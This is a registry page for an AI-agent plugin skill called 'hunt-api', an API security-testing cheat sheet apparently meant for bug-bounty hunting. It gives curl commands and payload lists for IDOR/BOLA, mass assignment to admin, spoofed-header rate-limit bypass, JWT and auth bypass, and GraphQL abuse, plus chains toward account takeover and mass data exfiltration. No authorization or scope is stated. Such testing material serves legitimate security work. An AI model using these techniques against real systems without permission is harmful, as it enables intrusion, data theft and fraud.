hunt-api · git:20260923.82a4143 · 2026-09-23 · sha256 2d7f4f57ce3d2451
hunt-api git:20260923.82a4143A
Immutable. This exact content never changes and is served at /api/v1/blob/2d7f4f57ce3d2451.
No tool to install first
claude plugin marketplace add https://markdownregistry.com/mp/a/art_wulvqyyem2bzmnvw/2d7f4f57ce3d2451dded2407a1c1487d381b4155fec1d12973fe42af665e886b.json
Then /plugin install hunt-api@markdownregistry-wulvqyyem2bzmnvw in Claude Code. It installs this exact version, the one graded A here, pinned to the commit it was graded at, and leaves it there.
---
name: hunt-api
description: API security — BOLA/IDOR, mass assignment, rate limit bypass, auth bypass, method confusion. Must pass 7 gates.
---
# API HUNTING — 3 BULLETS MAX
**Core:** APIs are the #1 attack surface. Test systematically.
## DIFFERENTIAL
```bash
# BOLA: User A → User B's resource
curl -s -H "Authorization: Bearer $TOKEN_A" "https://target.com/api/users/$VICTIM_ID"
# Mass assignment
curl -s -X POST -H "Authorization: Bearer $TOKEN" -d '{"name":"test","role":"admin","balance":999999}' "https://target.com/api/users"
# Rate limit bypass
curl -s -H "X-Forwarded-For: 1.1.1.1" "https://target.com/api/login"
# Method confusion
for m in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do
curl -s -o /dev/null -w "$m: %{http_code}\n" -X $m "https://target.com/api/users/$ID"
done
```
## ATTACKS
```
BOLA: sequential IDs, UUIDs from other endpoints, GraphQL aliases
Mass assignment: role, is_admin, balance, tenant_id, verified
Rate limit: X-Forwarded-For, method change, content-type change, parameter position
Auth bypass: empty token, invalid token, JWT none, expired token
Version: /v1 vs /v2 vs /internal vs /debug
GraphQL: batching (rate limit bypass), alias IDOR, nested query DoS, mutation auth bypass
```
## CHAINS
```
BOLA + mass assignment → admin takeover → Critical
Auth bypass + BOLA → mass data exfil → Critical
Rate limit bypass + OTP brute → ATO → High
GraphQL batching + IDOR → mass PII → Critical
Race condition + wallet → double-spend → Critical
```